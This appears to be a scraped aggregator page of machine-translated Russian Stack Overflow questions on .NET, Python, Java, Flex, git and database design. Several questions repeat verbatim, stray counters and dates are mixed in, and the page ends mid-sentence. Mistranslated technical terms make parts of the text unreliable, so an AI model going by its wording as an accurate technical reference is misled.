- Я не спрашиваю о том, как получить GUID в .NET, я просто ссылаюсь на столбец userID в
asp_ tablesкак guid. - Имя пользователя является уникальным при проверке подлинности ASP.NET.
Как сделать так, чтобы символ button выглядел так, как будто он нажат?
Используя VS2008, C#, .Net 2 и Winforms как я могу сделать обычный Button вид "pressed"?
Представьте себе, что этот button-это переключатель включения/выключения.
ToolStripButton имеет свойство Checked, а обычный Button-нет.
Виртуальная машина, поддерживающая несколько дисплеев
Есть ли способ получить MS virtual PC 2007 для поддержки нескольких дисплеев? Или есть другой продукт виртуальной машины, который позволит мне работать с несколькими дисплеями?
В компании, в которой я работаю, мы делаем все наши разработки в виртуальных машинах. В настоящее время мы используем MS Virtual PC 2007 для этого. Я хотел бы иметь возможность распространять дисплей моей машины на несколько дисплеев, но я не знаю, как это сделать. Любой совет будет оценен по достоинству.
Как продать Python в client/boss/person
Когда вас просят создать систему XYZ и вы просите сделать это в Python над PHP или Ruby, какие основные функции вы можете упомянуть, когда они требуют от вас объяснения?
Управление версиями PHP веб-проект
У нас есть проект PHP, который мы хотели бы контролировать версии. Прямо сейчас мы втроем работаем над версией разработки проекта, которая находится во внешней папке, к которой привязаны все наши Eclipse IDEs, и поэтому нет контроля версий.
Каков правильный способ и лучший способ для управления версиями этого?
У нас есть настройка SVN, но нам просто нужно найти хороший способ регистрации и выхода, который позволяет нам тестировать на сервере разработки. Есть какие-нибудь идеи?
Бета-Версия Веб-Приложения
Что такое хороший способ заставить людей Альфа-тестировать веб-приложение, которое я делаю. Я хочу, чтобы люди использовали его и получали обратную связь о том, каким образом мне нужно его изменить (потому что их много, но что самое главное?)
Описание: http://adamlerman.blogspot.com/2008/07/budgetjax.html
Сайт: http://www.budgetjax.com для приложения. (Нет реальных документов)
Сейчас очень тяжело.
Откройте локальный файл с помощью AIR / Flex
Я написал приложение AIR, которое загружает видео и документы с сервера. Видео воспроизводится внутри приложения, но я хотел бы, чтобы пользователь мог открывать документы в своих собственных приложениях.
Я ищу способ предложить пользователю открыть / Сохранить как локальный файл, хранящийся в каталоге хранения приложений. Я пробовал использовать классы FileReference + URLRequest, но это вызывает исключение, что ему нужен удаленный url.
Мое последнее средство-просто скопировать файл на их рабочий стол : \
Версия ASP.NET от Joomla
Кто-нибудь когда-нибудь находил/использовал приложение ASP.NET, подобное Joomla?
Мне нужно настроить быстрый и грязный CMS на сервере Windows, и наш клиент не хочет, чтобы мы использовали что-то другое, кроме ASP.NET.
Обучение Ruby на Rails что-нибудь хорошее для Grails?
Моя компания находится в процессе запуска вниз по пути Grails. Причина этого заключается в том, что нынешние разработчики тяжело относятся к Java, но ощущают потребность в языке в стиле MVC для некоторых будущих проектов веб-разработки. Лично я пришел из мира дизайна / юзабилити, но по мере того, как я беру на себя больше ответственности "front-end", я начинаю чувствовать потребность в более интенсивном изучении языка, чтобы я мог кодировать некоторую логику, но особенно интерфейсный код для моего UIs и прочего.
Я пытался попасть в Python/Django лично, но просто никогда не тратил на это слишком много времени. Теперь, когда моя компания находится "jumping" в Grails, я купил " веб-разработку Agile с Rails (3 - е изд-бета)", и я начинаю входить в RoR . Я все еще хотел бы узнать Python в будущем или на стороне, но мой самый большой вопрос-это:
- Должен ли я изучать RoR и иметь более универсальный язык в моем "portfolio", зная, что мои RoR знания будут полезны и для моих потребностей Grails??
-OR-
- Должен ли я просто пропустить RoR и сосредоточиться на изучении Grails, который мне скоро понадобится для работы, и работать над изучением RoR/Django (Ruby/Python) позже?
В основном вопрос вращается вокруг полезности Grails в некорпоративной среде и сходства между Rails и Grails. (и это, пытаясь избежать столетней дискуссии о Python против Ruby (на Rails) :))
Как настроить Python скриптов для работы в Apache 2.0?
Я пытался следить за парой гугловых учебников по настройке mod_python, но каждый раз терпел неудачу. Есть ли у вас хороший, пошаговый, твердый как камень howto?
Моя коробка работает на ОС Х, производство - Centos.
Откройте локальный файл с помощью AIR / Flex
Я написал приложение AIR, которое загружает видео и документы с сервера. Видео воспроизводится внутри приложения, но я хотел бы, чтобы пользователь мог открывать документы в своих собственных приложениях.
Я ищу способ предложить пользователю открыть / Сохранить как локальный файл, хранящийся в каталоге хранения приложений. Я пробовал использовать классы FileReference + URLRequest, но это вызывает исключение, что ему нужен удаленный url.
Мое последнее средство-просто скопировать файл на их рабочий стол : \
Версия ASP.NET от Joomla
Кто-нибудь когда-нибудь находил/использовал приложение ASP.NET, подобное Joomla?
Мне нужно настроить быстрый и грязный CMS на сервере Windows, и наш клиент не хочет, чтобы мы использовали что-то другое, кроме ASP.NET.
Обучение Ruby на Rails что-нибудь хорошее для Grails?
Моя компания находится в процессе запуска вниз по пути Grails. Причина этого заключается в том, что нынешние разработчики тяжело относятся к Java, но ощущают потребность в языке в стиле MVC для некоторых будущих проектов веб-разработки. Лично я пришел из мира дизайна / юзабилити, но по мере того, как я беру на себя больше ответственности "front-end", я начинаю чувствовать потребность в более интенсивном изучении языка, чтобы я мог кодировать некоторую логику, но особенно интерфейсный код для моего UIs и прочего.
Я пытался попасть в Python/Django лично, но просто никогда не тратил на это слишком много времени. Теперь, когда моя компания находится "jumping" в Grails, я купил " веб-разработку Agile с Rails (3 - е изд-бета)", и я начинаю входить в RoR . Я все еще хотел бы узнать Python в будущем или на стороне, но мой самый большой вопрос-это:
- Должен ли я изучать RoR и иметь более универсальный язык в моем "portfolio", зная, что мои RoR знания будут полезны и для моих потребностей Grails??
-OR-
- Должен ли я просто пропустить RoR и сосредоточиться на изучении Grails, который мне скоро понадобится для работы, и работать над изучением RoR/Django (Ruby/Python) позже?
В основном вопрос вращается вокруг полезности Grails в некорпоративной среде и сходства между Rails и Grails. (и это, пытаясь избежать столетней дискуссии о Python против Ruby (на Rails) :))
Как настроить Python скриптов для работы в Apache 2.0?
Я пытался следить за парой гугловых учебников по настройке mod_python, но каждый раз терпел неудачу. Есть ли у вас хороший, пошаговый, твердый как камень howto?
Моя коробка работает на ОС Х, производство - Centos.
У кого-нибудь есть опыт создания общей библиотеки в MATLAB?
Исследователь создал небольшую симуляцию в MATLAB, и мы хотим сделать ее доступной для других. Мой план состоит в том, чтобы взять симуляцию, очистить несколько вещей и превратить ее в набор функций. Затем я планирую скомпилировать его в библиотеку C и использовать SWIG для создания оболочки Python. В этот момент я должен быть в состоянии вызвать симуляцию из небольшого приложения Django. По крайней мере, я на это надеюсь.
У меня есть правильный план? Кто-нибудь еще делал что-то подобное? Можете ли вы дать мне знать, есть ли какие-либо серьезные подводные камни, о которых я не знаю в данный момент?
C# логический порядок и поведение компилятора
В C#, (и не стесняйтесь отвечать за другие языки), в каком порядке среда выполнения оценивает логический оператор?
Пример:
DataTable myDt = new DataTable();
if (myDt != null && myDt.Rows.Count > 0)
{
//do some stuff with myDt
}
Какое утверждение делает во время выполнения оценки первого -
myDt != null
или:
myDt.Rows.Count > 0
?
Есть ли время, когда компилятор будет когда-либо оценивать оператор назад? Возможно, когда задействован оператор "OR"?
& известен как логический побитовый оператор и всегда вычисляет все вложенные выражения
Каков хороший пример использования побитового оператора вместо "короткого замыкания логического"?
Кросс-платформенный, язык Agnostic GUI Markup Language?
Я узнал Swing еще в тот день, но теперь я переехал в Python и хочу сделать некоторые приложения с GUIs. У меня не было времени изучить новый GUI API, поэтому я использовал Jython, но я предпочел бы использовать CPython.
Было бы здорово, если бы у меня был один простой markup, который позволяет мне переключать GUI библиотек. Было бы еще лучше, если бы я мог использовать один и тот же язык markup для разных языков, чтобы я мог быстро сделать GUIs для любого языка, который я использую. Кто-нибудь знает о таком markup/library?
Я видел такие накладки, как Glade и wxWidget's markup (я забыл название). Они отчасти то, что я ищу (создание GUI без кодирования его на языке), но они переплетены с определенной библиотекой. И ни один из них не очень хорошо выглядит и не дружелюбен к человеческому редактированию.
Почему я не могу использовать блок try вокруг моего вызова super()?
Итак, в Java первая строка вашего конструктора HAS должна быть вызовом super... будь то неявный вызов super() или явный вызов другого конструктора. Вот что я хочу знать: почему я не могу поставить пробный блок вокруг этого?
Мой конкретный случай заключается в том, что у меня есть макет класса для теста. Конструктора по умолчанию нет, но я хочу, чтобы он упрощал чтение тестов. Я также хочу обернуть исключения, вызванные из конструктора, в RuntimeException.
Итак, то, что я хочу сделать, это эффективно:
public class MyClassMock extends MyClass {
public MyClassMock() {
try {
super(0);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
// Mocked methods
}
Но Java жалуется, что супер-это не первое утверждение.
Мой обходной путь:
public class MyClassMock extends MyClass {
public static MyClassMock construct() {
try {
return new MyClassMock();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public MyClassMock() throws Exception {
super(0);
}
// Mocked methods
}
Является ли это лучшим обходным путем? Почему Java не позволяет мне сделать первое?
Моя лучшая догадка относительно "why" заключается в том, что Java не хочет, чтобы я имел сконструированный объект в потенциально противоречивом состоянии... однако, делая глумление, я не забочусь об этом. Кажется, я должен быть в состоянии сделать это выше... или, по крайней мере, я знаю, что вышесказанное безопасно для моего случая... или кажется, что так и должно быть в любом случае.
Я переопределяю все методы, которые я использую из тестируемого класса, поэтому нет никакого риска, что я использую неинициализированные переменные.
Преобразование байтов в числа с плавающей запятой в Python
У меня есть двоичный файл, который я должен разобрать, и я использую Python. Есть ли способ взять 4 байта и преобразовать их в одно точное число с плавающей запятой?
Python, Unicode и консоль Windows
Когда я пытаюсь напечатать строку Unicode в консоли Windows, я получаю ошибку UnicodeEncodeError: 'charmap' codec can't encode character .... . Я предполагаю, что это связано с тем, что консоль Windows не принимает символы только Unicode. Как лучше всего это обойти? Есть ли какой-нибудь способ заставить Python автоматически печатать ? вместо сбоя в этой ситуации?
Редактировать: я использую Python 2.5.
Примечание: @LasseV.Karlsen ответ с галочкой вроде как устарел (с 2008 года). Пожалуйста, используйте solutions/answers/suggestions ниже с осторожностью!!
@JFSebastian ответ более актуален на сегодняшний день (6 января 2016 года).
Используют ли люди венгерские Соглашения об именовании в реальном мире?
Стоит ли изучать конвенцию или это проклятие для читабельности и ремонтопригодности?
Как я могу отменить git сброс --жесткий HEAD~1?
Можно ли отменить изменения, вызванные следующей командой? Если да, то как?
git reset --hard HEAD~1
Какой самый простой способ добавить сжатие к WCF в Silverlight?
У меня есть приложение silverlight 2 beta 2, которое обращается к веб-службе WCF. Из-за этого в настоящее время он может использовать только привязку basicHttp. Веб-сервис вернет довольно большие объемы данных XML. Это кажется довольно расточительным с точки зрения использования полосы пропускания, поскольку ответ, если его сжать, будет меньше в 5 раз (на самом деле я вставил ответ в txt-файл и сжал его.).
Запрос действительно имеет "Accept-Encoding: gzip, deflate" - есть ли какой-либо способ получить WCF service gzip (или иным образом сжать) ответ?
Я действительно нашел эту ссылку , но она определенно кажется немного сложной для функциональности, которая должна быть обработана out-of-the-box IMHO.
OK-сначала я отметил решение, используя System.IO.Compression в качестве ответа, поскольку я никогда не мог "seem" заставить работать динамическое сжатие IIS7. Ну, как это получается:
Динамическое сжатие на IIS7 работало все время. Просто плагин Nikhil Web Developer Helper для IE не показал, что он работает. Я предполагаю, что поскольку SL передает вызов веб-службы браузеру, то браузер обрабатывает его "under the covers", и инструмент Nikhil никогда не видит сжатый ответ. Я смог подтвердить это с помощью Fiddler, который отслеживает трафик, внешний по отношению к браузерному приложению. В fiddler ответ был, по сути, gzip сжатым!!
Другая проблема с решением System.IO.Compression заключается в том, что System.IO.Compression не существует в Silverlight CLR.
Таким образом, с моей точки зрения, EASIEST способ включить сжатие WCF в Silverlight-это включить динамическое сжатие в IIS7 и вообще не писать код.
Анимация в javascript, отправная точка
Я понимаю, как JS запускается, и я думаю, что понимаю большую часть DOM, но я понятия не имею об анимации. Кто-нибудь здесь знает хорошего гида, который может объяснить мне, как это делается в Javascript?
Кроме того, должен ли я даже рассматривать Javascript для анимации? Должен ли я вместо этого искать, чтобы узнать flash?
Как я могу рассматривать целое число как массив байтов в Python?
Я пытаюсь расшифровать результат функции Python os.wait(). Это возвращает, согласно Python docs:
кортеж, содержащий его pid и индикацию состояния выхода: 16-разрядное число, младший байт которого является номером сигнала, который убил процесс, и старший байт которого является состоянием выхода (если номер сигнала равен нулю); старший бит младшего байта устанавливается, если был создан файл ядра.
Как декодировать индикацию состояния выхода (которая является целым числом), чтобы получить верхний и Нижний байт? Чтобы быть конкретным, как реализовать функцию декодирования, используемую в следующем фрагменте кода:
(pid,status) = os.wait()
(exitstatus, signum) = decode(status)
Как вернуть страницу результатов из SQL?
Многие приложения имеют сетки, которые отображают данные из таблицы базы данных по одной странице за раз. Многие из них также позволяют пользователю выбирать количество записей на странице, Сортировать по любому столбцу и перемещаться по результатам.
Что такое хороший алгоритм для реализации этого шаблона без приведения всей таблицы к клиенту и последующей фильтрации данных на клиенте. Как вы приносите только те записи, которые хотите показать пользователю?
Разве LINQ упрощает решение?
Проверка содержимого строки? длина строки Против пустой строки
Что более эффективно для компилятора и как лучше всего проверить, является ли строка пустой?
- Проверка, соответствует ли длина строки = = 0
- Проверка пустоты строки (strVar == "")
Кроме того, зависит ли ответ от языка?
531   13   21:06, 1st October, 2020
Когда я не должен использовать ThreadPool в .Net?
Когда я не должен использовать ThreadPool в .Net?
Похоже, что лучшим вариантом является использование ThreadPool, и в этом случае, почему это не единственный вариант?
Что вы испытываете по этому поводу?
Проверка данных разнесенной формы в структуре ASP.NET MVC
Я играл с фреймворком ASP.NET MVC, и одна вещь, которая действительно сбивает меня с толку, - это то, как я должен выполнять проверку данных опубликованных форм на стороне сервера. Я предполагаю, что не отправлю сообщение обратно в тот же URL, но если это не так, как я могу повторно отобразить форму с введенными данными и сообщениями об ошибках? Кроме того, куда должна идти логика проверки? В модели или контроллере? Это, по-видимому, одна из немногих областей, где веб-формы намного сильнее (мне не хватает средств проверки).
Обновить Результаты Функции Excel VBA
Кто-нибудь знает, как я могу заставить пользовательскую функцию повторно оценить себя (на основе измененных данных в электронной таблице)? Я пробовал F9 и Shift + F9 , но они не работают. Единственное, что, кажется, работает, это редактирование ячейки с помощью вызова функции и затем нажатие клавиши Enter. Есть какие-нибудь идеи? Я, кажется, помню, что был в состоянии сделать это...
Как я должен тестировать модульный генератор кода?
Это сложный и открытый вопрос, я знаю, но я решил бросить его на пол и посмотреть, есть ли у кого-нибудь интересные предложения.
Я разработал генератор кода, который принимает наш интерфейс python к нашему коду C++ (сгенерированному через SWIG) и генерирует код, необходимый для того, чтобы представить его как WebServices. Когда я разрабатывал этот код, я делал это с помощью TDD, но мои тесты оказались чертовски хрупкими. Поскольку каждый тест по существу хотел проверить, что для заданного бита входного кода (который оказывается заголовком C++) я получу заданный бит выходного кода, я написал небольшой движок, который читает определения тестов из входных файлов XML и генерирует тестовые случаи из этих ожиданий.
Проблема в том, что я вообще боюсь идти на изменение кода. Это и тот факт, что сами юнит-тесты а: сложны, а б: хрупки.
Поэтому я пытаюсь придумать альтернативные подходы к этой проблеме, и мне кажется, что я, возможно, решаю ее неправильно. Возможно, мне нужно больше сосредоточиться на результате, IE: действительно ли код, который я генерирую, работает и делает то, что я хочу, а не выглядит так, как я хочу.
Есть ли у кого-нибудь опыт чего-то подобного, которым они хотели бы поделиться?
Обновить Результаты Функции Excel VBA
Кто-нибудь знает, как я могу заставить пользовательскую функцию повторно оценить себя (на основе измененных данных в электронной таблице)? Я пробовал F9 и Shift + F9 , но они не работают. Единственное, что, кажется, работает, это редактирование ячейки с помощью вызова функции и затем нажатие клавиши Enter. Есть какие-нибудь идеи? Я, кажется, помню, что был в состоянии сделать это...
Как я должен тестировать модульный генератор кода?
Это сложный и открытый вопрос, я знаю, но я решил бросить его на пол и посмотреть, есть ли у кого-нибудь интересные предложения.
Я разработал генератор кода, который принимает наш интерфейс python к нашему коду C++ (сгенерированному через SWIG) и генерирует код, необходимый для того, чтобы представить его как WebServices. Когда я разрабатывал этот код, я делал это с помощью TDD, но мои тесты оказались чертовски хрупкими. Поскольку каждый тест по существу хотел проверить, что для заданного бита входного кода (который оказывается заголовком C++) я получу заданный бит выходного кода, я написал небольшой движок, который читает определения тестов из входных файлов XML и генерирует тестовые случаи из этих ожиданий.
Проблема в том, что я вообще боюсь идти на изменение кода. Это и тот факт, что сами юнит-тесты а: сложны, а б: хрупки.
Поэтому я пытаюсь придумать альтернативные подходы к этой проблеме, и мне кажется, что я, возможно, решаю ее неправильно. Возможно, мне нужно больше сосредоточиться на результате, IE: действительно ли код, который я генерирую, работает и делает то, что я хочу, а не выглядит так, как я хочу.
Есть ли у кого-нибудь опыт чего-то подобного, которым они хотели бы поделиться?
Лучший Wiki для мобильных пользователей
Большинство программ wiki я представил много "features" на своих страницах. Это хорошо для настольных пользователей, но раздражает при использовании iPhone или другого мобильного устройства.
Я бы предпочел страницы, которые просто имели контент, а также, возможно, кнопку редактирования и кнопку поиска. Редакторы также часто слишком причудливы для мобильных пользователей; простое многострочное поле редактирования было бы лучше для мобильных пользователей, чем куча элементов управления форматированием.
Что такое хороший пакет wiki для мобильных пользователей?
Как создать экземпляр рабочего процесса, надежно основанный на внешнем событии?
немного новичок в работе windows, так что идите легко :)
Я хочу создать среду хоста рабочего процесса, которая имеет высокую доступность-минимум 2 WF хостов времени выполнения на отдельном оборудовании, указывающих на одну и ту же базу данных Persistence или tracking SQL.
Я ищу шаблон, с помощью которого я могу асинхронно создавать новые экземпляры рабочего процесса на основе некоторого внешнего события (т. е. некоторая часть данных обновляется в DB другим приложением). Для каждого события мне нужно создать ровно один экземпляр рабочего процесса и не имеет значения, на каком хосте этот экземпляр создан. Существует также некоторая гибкость в отношении продолжительности времени между событием и фактическим созданием экземпляра рабочего процесса.
Одним из решений, которое я рассматриваю, является наличие интерфейса WCF на хостах WF и размещение их за каким-то балансировщиком нагрузки. Это было бы тогда до любой части системы, которая запускает "event", чтобы сделать вызов WCF.
Я не очень доволен этим, потому что если хосты both\all WF не работают или иным образом недоступны, событие может быть "lost". Кроме того, я не смогу управлять нагрузкой так, как мне бы хотелось. Я представляю себе ситуацию, когда за небольшой промежуток времени может произойти много событий, но совершенно допустимо обрабатывать эти события некоторое время спустя.
Поэтому я считаю, что мне нужно каким-то образом сохранить события и отделить создание событий от обработки событий.
Помещает ли эти события в MSMQ или простую таблицу событий на сервере SQL, а хост WF просто периодически опрашивает очередь, является жизнеспособным решением? Опрос, кажется, такое грязное слово, хотя...
Будет ли полезен NServiceBus и прочный обмен сообщениями здесь?
Любые идеи будут высоко оценены.
Дополнение
База данных будет кластеризована с общим хранилищем оптоволоконных каналов. Сеть также будет избыточной. Для того, чтобы экземпляры среды выполнения WF имели отказоустойчивость, они должны указывать на общую службу персистентности, которая в данном случае является серверной частью SQL. Это высокая доступность, а не полная доступность :)
MSDN статья о надежности и высокой доступности WF
Кроме того, каждый экземпляр среды выполнения WF должен иметь точно такие же биты, поэтому для обновления потребуется удалить их все одновременно. Мне нравится идея сделать это, если потребуется, не разрушая всю систему.
И DefaultEvent ASP.NET UserControl по
Контур
OK, я гуглил это и уже ожидал большой жир NO! ! Но я подумал, что должен спросить, так как я знаю, что иногда могут быть странные маленькие gem знания, скрывающиеся в головах людей ^_^
Я работаю над некоторыми упражнениями в книге для изучения, и это конкретное упражнение-пользовательские элементы управления. Я собрал элемент управления и хотел бы установить для него DefaultEvent (сделав это для предыдущих элементов управления), поэтому, когда я дважды щелкаю по нему, созданное событие по умолчанию-это то, что я указываю.
NOTE: это стандартный пользовательский элемент управления (.ascx), NOT пользовательский визуализированный элемент управления.
текущий код
Вот определение события класса &:
[System.ComponentModel.DefaultEvent("OKClicked")]
public partial class AddressBox : System.Web.UI.UserControl
{
public event EventHandler OKClicked;
текущий результат
Теперь, когда я дважды щелкаю элемент управления, когда он находится на странице ASPX, создается следующее:
protected void AddressBox1_Load(object sender, EventArgs e)
{
}
Не совсем то, что я ожидал! Итак, мой вопрос:
Можно ли определить DefaultEvent для UserControl? Это хак? Если это не поддерживается, почему?
Примечание: как мы помещаем подчеркивания в код? Кажется, я не могу поставить и избежать char?
Сортировка составной коллекции
Таким образом, WPF не поддерживает стандартное поведение сортировки или фильтрации для представлений CompositeCollections, так что было бы лучше всего решить эту проблему.
Существует две или более коллекций объектов различных типов. Вы хотите объединить их в единую сортируемую и фильтруемую коллекцию (без необходимости вручную выполнять сортировку или фильтр).
Один из рассмотренных мною подходов заключается в создании новой коллекции объектов с несколькими основными свойствами, включая те, по которым я хотел бы отсортировать коллекцию, и экземпляр объекта каждого типа.
class MyCompositeObject
{
enum ObjectType;
DateTime CreatedDate;
string SomeAttribute;
myObjectType1 Obj1;
myObjectType2 Obj2;
{
class MyCompositeObjects : List<MyCompositeObject> { }
А затем пройдите через мои две коллекции объектов, чтобы построить новую составную коллекцию. Очевидно, что это немного грубый метод, но он будет работать. Я получил бы все стандартные функции сортировки и фильтрации представлений в моей новой коллекции составных объектов, и я мог бы поместить в нее шаблон данных для правильного отображения элементов списка в зависимости от того, какой тип фактически хранится в этом составном элементе.
Какие есть предложения, чтобы сделать это более элегантным способом?
Простая анимация в WinForms
Представьте, что вы хотите анимировать какой-то объект на WinForm. Вы настраиваете таймер для обновления состояния или модели и переопределения события рисования формы. Но с этого момента, каков лучший способ постоянно перекрашивать форму для анимации?
- Аннулировать форму, как только вы закончите рисовать?
- Установить второй таймер и аннулировать форму на регулярной основе?
- Может быть, в этом деле есть какая-то общая закономерность?
- Есть ли какие-нибудь полезные классы .NET, чтобы помочь?
Каждый раз, когда мне нужно это сделать, я обнаруживаю новый метод с новым недостатком. Каковы опыт и рекомендации сообщества SO?
Варианты лицензирования с открытым исходным кодом для приложения ASP.NET MVC?
Я работаю над личным проектом в ASP.NET MVC, который планирую сделать открытым исходным кодом. В прошлом у меня было открыто довольно много PHP сценариев и UNIX-основанных материалов. Для них я обычно шел с лицензией стиля BSD/Apache, если только я не включал библиотеку, которая препятствовала этому. На стороне Linux/PHP вещей это обычно означало что-то, что было GPL-ed, таким образом, все еще приводя к довольно четкой договоренности.
Однако для этого проекта я пытаюсь выяснить, какие лицензии вообще можно применить к этому проекту, и не нахожу никакого хорошего ресурса, чтобы ответить на этот вопрос. Я знаю, что единственный "real" ответ на этот вопрос будет связан с адвокатом. Однако, поскольку это не то, что принесет доход, если я собираюсь запустить $1000 в проект, я скорее найму графического дизайнера или эксперта по юзабилити, чтобы получить пропуск в приложении, чем заплачу адвокату.
Этот конкретный проект также использует Subsonic для доступа к базе данных и Argotic для разбора RSS, что еще больше усложняет проблему.
Я знаю, что мне разрешено использовать все эти части и что я могу перераспределить свой проект, который использует их все. Однако то, что у меня осталось, - это путаница в отношении того, что полученный проект может/должен быть лицензирован.
Я, вероятно, могу договориться о своем пути через лабиринт для бит Subsonic и Argotic, потому что они уже находятся под лицензиями с открытым исходным кодом, но я не могу быть единственным, кто пытается выяснить, какую лицензию я могу применить к проекту, который я пишу поверх ASP.NET MVC.
В ответ на комментарии:
Я ни в чем не виноват. Я просто пытаюсь вложить ту же заботу в лицензирование и распространение этого конечного приложения, что и в архитектуру и разработку его. Кроме того, я наблюдал, как разрушаются жизни из-за того, что сегодня не обращал внимания на возможно византийские законы об интеллектуальной собственности в книгах.
И, честно говоря, я действительно получил неприятное письмо в прошлом от адвоката компонента с открытым исходным кодом, который я включил в свой собственный проект с открытым исходным кодом, но использовал лицензию, которой они не были довольны.
К сожалению, "an open-source license" не является более конкретным в юридическом смысле, чем выражение "just use a web programming language and you'll be fine". GPL явно является одной из самых популярных лицензий с открытым исходным кодом, а также одной из немногих, которые, на первый взгляд, не могут быть применены к ASP.NET MVC приложениям. Мне интересно, существует ли существующая лицензия, которая может быть "compiled" с другими лицензиями компонентов, которые я использую, не вызывая юридической ошибки "compiler".
Я не говорю, что ответ прост (это не так). Я задал этот вопрос, потому что искренне заинтересован в ответе, который приходит с точки зрения тщательного изучения вопроса. Когда я впервые опубликовал его, я полностью ожидал, что он останется без ответа в течение длительного времени, потому что это не простой вопрос.
Настраиваемое Диалоговое Окно Проекта Установки Visual Studio
Я создал настраиваемое диалоговое окно для проекта установки Visual Studio с помощью описанных ниже действий здесь
Теперь у меня есть combobox в одном из моих диалогов. Я хочу заполнить combobox списком всех экземпляров сервера SQL, работающих в локальной сети. Это тривиально, чтобы получить список серверов ... но я совершенно не понимаю, как заставить их отображаться в combobox. Я был бы признателен Вам за помощь, и некоторый код также может быть хорошим, поскольку я новичок :).
505   2   20:20, 6th August, 2020
Sharepoint Вики
Хорошо, я видел несколько сообщений, которые упоминают несколько других сообщений о том, что не используют SP Вики, потому что они отстой.
Поскольку мы рассматриваем выполнение нашей wiki в SP, мне нужно знать, почему мы не должны делать это для группы из 6 разработчиков автоматизации, чтобы документировать шаги в различных автоматизированных процессах и изменения, которые должны быть сделаны время от времени.
Ускорение работы веб-сайта или приложения ASP.Net
У меня есть Ajax.Net включен ASP.Net 2.0 веб-сайт. Хостинг как для сайта, так и для базы данных находится вне моего контроля, как и схема базы данных. При тестировании на аппаратном обеспечении я действительно контролирую сайт хорошо работает, однако на аппаратном обеспечении клиента есть заметные задержки при перезагрузке или смене страниц.
Что я хотел бы сделать, так это сделать мою заявку как можно более компактной и быстрой, когда я ее доставлю. Одна из идей заключается в том, чтобы установить даты истечения срока действия для всех статических ресурсов сайта, чтобы они не вызывались при загрузке страницы. Под ресурсами я подразумеваю изображения, связанные таблицы стилей и исходные файлы JavaScript. Есть ли простой способ сделать это?
Какие еще существуют способы оптимизации веб-сайта .Net?
UPDATE: Я запустил YSlow на сайте, и области, где я получаю удар сильнее всего, находятся в количестве загружаемых JavaScript и таблиц стилей (23 JS файла и 5 таблиц стилей). Все, кроме одного (основная таблица стилей), были вставлены Ajax.net и Asp. Почему их так много?
Как перегрузить std::swap()
std::swap() используется многими контейнерами std (такими как std::list и std::vector ) во время сортировки и даже назначения.
Но реализация std swap() является очень обобщенной и довольно неэффективной для пользовательских типов.
Таким образом, эффективность может быть получена путем перегрузки std::swap() с помощью специальной реализации пользовательского типа. Но как вы можете реализовать его так, чтобы он был использован контейнерами std?
Каковы наиболее важные функциональные различия между C# и VB.NET?
Конечно, есть разница в общем синтаксисе, но какие еще критические различия существуют? Есть же какие -то различия, верно?
Как мне перестроить аккордеон Adobe Flex, чтобы включить кнопку в каждый заголовок холста?
Вот пример кода для моего аккордеона:
<mx:Accordion x="15" y="15" width="230" height="599" styleName="myAccordion">
<mx:Canvas id="pnlSpotlight" label="SPOTLIGHT" height="100%" width="100%" horizontalScrollPolicy="off">
<mx:VBox width="100%" height="80%" paddingTop="2" paddingBottom="1" verticalGap="1">
<mx:Repeater id="rptrSpotlight" dataProvider="{aSpotlight}">
<sm:SmallCourseListItem
viewClick="PlayFile(event.currentTarget.getRepeaterItem().fileID);"
Description="{rptrSpotlight.currentItem.fileDescription}"
FileID = "{rptrSpotlight.currentItem.fileID}"
detailsClick="{detailsView.SetFile(event.currentTarget.getRepeaterItem().fileID,this)}"
Title="{rptrSpotlight.currentItem.fileTitle}"
FileIcon="{iconLibrary.getIcon(rptrSpotlight.currentItem.fileExtension)}" />
</mx:Repeater>
</mx:VBox>
</mx:Canvas>
</mx:Accordion>
Я хотел бы включить кнопку в каждый заголовок, например:
Дебаты по дизайну: каковы хорошие способы хранения и управления версионными объектами?
Я намеренно оставляю это довольно расплывчатым на первый взгляд. Я ищу обсуждения и какие вопросы важны больше, чем я ищу трудные ответы.
Я нахожусь в середине разработки приложения, которое делает что-то вроде управления портфелем. Дизайн, который у меня есть до сих пор, - это
- Проблема: проблема, которую необходимо решить
- Решение: предлагаемое решение одной или нескольких проблем
- Отношение: отношение между двумя проблемами, двумя решениями или проблемой и решением. Далее разбивается на:
- Родитель-ребенок - своего рода категоризация / иерархия дерева
- Перекрытие-степень, в которой два решения или две проблемы действительно решают одну и ту же концепцию
- Адреса-степень, в которой проблема обращается к решению
Мой вопрос касается временной природы этих вещей. Проблемы возникают, а затем исчезают. Решения имеют ожидаемую дату разрешения, но она может быть изменена по мере их разработки. Степень взаимосвязи может меняться с течением времени по мере развития проблем и решений.
Итак, вопрос: каков наилучший дизайн для версирования этих вещей, чтобы я мог получить как текущую, так и историческую перспективу своего портфолио?
Позже: возможно, я должен сделать это более конкретным вопросом, хотя ответ @Eric Beard стоит того.
Я рассмотрел три проекта баз данных. Я буду достаточно каждого, чтобы показать свои недостатки. Мой вопрос: Что выбрать, или вы можете придумать что-то лучше?
1: проблемы (и отдельно, решения) являются самореферентными в управлении версиями.
table problems
int id | string name | text description | datetime created_at | int previous_version_id
foreign key previous_version_id -> problems.id
Это проблематично, потому что каждый раз, когда я хочу новую версию, я должен дублировать всю строку, включая этот длинный столбец description .
2: Создайте новый тип отношений: версия.
table problems
int id | string name | text description | datetime created_at
Это просто перемещает отношения из таблиц проблем и решений в таблицу отношений. Та же проблема дублирования, но, возможно, немного "cleaner", так как у меня уже есть абстрактная концепция отношений.
3: Используйте более Субверсионную структуру; переместите все атрибуты проблемы и решения в отдельную таблицу и версируйте их.
table problems
int id
table attributes
int id | int thing_id | string thing_type | string name | string value | datetime created_at | int previous_version_id
foreign key (thing_id, thing_type) -> problems.id or solutions.id
foreign key previous_version_id -> attributes.id
Это означает, что для загрузки текущей версии проблемы или решения я должен извлечь все версии атрибута, отсортировать их по дате, а затем использовать самую последнюю. Это может быть не так уж и страшно. Что кажется мне действительно плохим, так это то, что я не могу проверить эти атрибуты в базе данных. Этот столбец value должен быть свободным текстом. Я могу сделать столбец name ссылкой на отдельную таблицу attribute_names , которая имеет столбец type ,но это не заставляет правильный тип в таблице attributes .
еще позже: ответ на комментарии @Eric Beard о внешних ключах с несколькими таблицами:
